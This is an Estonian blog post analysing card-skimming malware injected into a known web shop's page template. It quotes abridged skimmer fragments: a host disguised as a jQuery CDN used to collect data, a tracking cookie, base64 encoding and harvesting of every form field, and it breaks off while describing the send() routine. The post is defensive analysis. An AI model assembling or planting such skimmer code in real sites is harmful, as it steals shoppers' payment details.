Tuntud veebipoode nakatanud pahavara luubi all

Andris Reinman
Jaga:

Antud blogipostitus on 75 kuud vana ning ei pruugi olla enam ajakohane.

Ilmselt ei jäänud kellelgi märkamata eelmise nädala uudis pahavaraga nakatunud ja seetõttu krediitkaardi andmeid varastavate kohalike veebipoodide kohta. Probleem on reaalne, veebipoed olid tõepoolest nakatunud krediitkaardinumbreid varastava pahavaraga, samas võimalik kahju – vähemalt kohalike veebipoodide klientide jaoks – on tõenäoliselt väike või täiesti olematu.

Et aru saada, milles üldse küsimus, võtame näitena ühe tuntud veebipoe, mis nakatus selle aasta veebruari alguses ja oli seda kuni eelmise nädalani. Mõne turvaaugu kaudu (tõenäoliselt shoplift) oli lisatud veebipoe templiidifaili JavaScripti koodiblokk, mis tõmmati seeläbi käima igal lehevaatamisel. Vaatamegi nüüd, et mida see konkreetne kood siis selles veebipoes teha üritas.

Rakenduse skoop on asetatud objekti nimega grelos_v sisse:

var grelos_v = {
  snd: null,
  Glink: 'https://jquery-cloud.net/code/jquery.min.js',
  ...
}

Esimese asjana märkame kohe huvitavat viidet jQuery teegi pihta. Iseenesest sellest polekski midagi erilist, aga siinkohal on tegu pettusega. Nimelt oli jquery-cloud.net pahavara serveeriv veebiserver, mis tänaseks on juba suletud. Taoline nimetus on valitud ainult juhusliku vaataja eksitamiseks, reaalselt jQuery teegiga siin midagi pistmist ei ole. Sündmustest ette rutates võib mainida, et tegu oli veebiaadressiga, kuhu pahavara saatis kasutaja kohta kogutud informatsiooni.

myid: (function (name) {
  var matches = document.cookie.match(new RegExp('(?:^|; )' ...
  return matches ? decodeURIComponent(matches[1]) : undefined;
})('setidd') || (function () {
  ...
  var myid = ms.getTime() + "-" + ...
  document.cookie = 'setidd=' + myid + '; path=/; expires=' ...;
  return myid;
})()

Järgmiseks paneb skript paika omaduse myid, millele loetakse väärtus brauseri küpsistest, kus kasutatud küpsise võtmeks on mittemidagiütlev setidd. Juhul kui sellist küpsist ei leita, genereeritakse uus väärtus, mis koosneb hetke ajast ja juhuslikust numbrist. Seda väärtust on hiljem vaja erinevate kasutajate andmete eraldamiseks.

base64_encode: function (data) {
  var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu...
  ...
  return enc;
}

Siin ei olegi mõtet pikemat midagi arutada, nimi ütleb kõik. Funktsioon võtab sisendiks mingi väärtuse ja tagastab selle base64 kodeeringus.

clk: function () {
  var inp = document.querySelectorAll(
    "input, select, textarea, checkbox, button");
  for (var i = 0; i < inp.length; i++) {
    ...
      grelos_v.snd += inp[i].name + '=' + inp[i].value + '&';
}

See on juba huvitavam funktsioon. Nimelt otsitakse lehelt üles kõik vormielemendid ning nende väärtustest koostatakse serialiseeritud string, mis näeb natukene välja nagu www-form-urlencoded väärtus, kuigi rangelt võttes see seda siiski pole.

send: function () {
 ...
}

Nüüd jõuame rakenduse tuumani ehk funktsioonini send(). Kuna see on kõige olulisem rakenduse osa, siis vaatame selle sisu veidi lähemalt

var btn = document.querySelectorAll(
  "a[href*='javascript:void(0)'],button, input, submit, .btn, .button"
);

Funktsiooni käivitumisel otsitakse lehelt üles kõik vormielemendid, mis võiksid olla nupud. Selle jaoks kõlbavad nii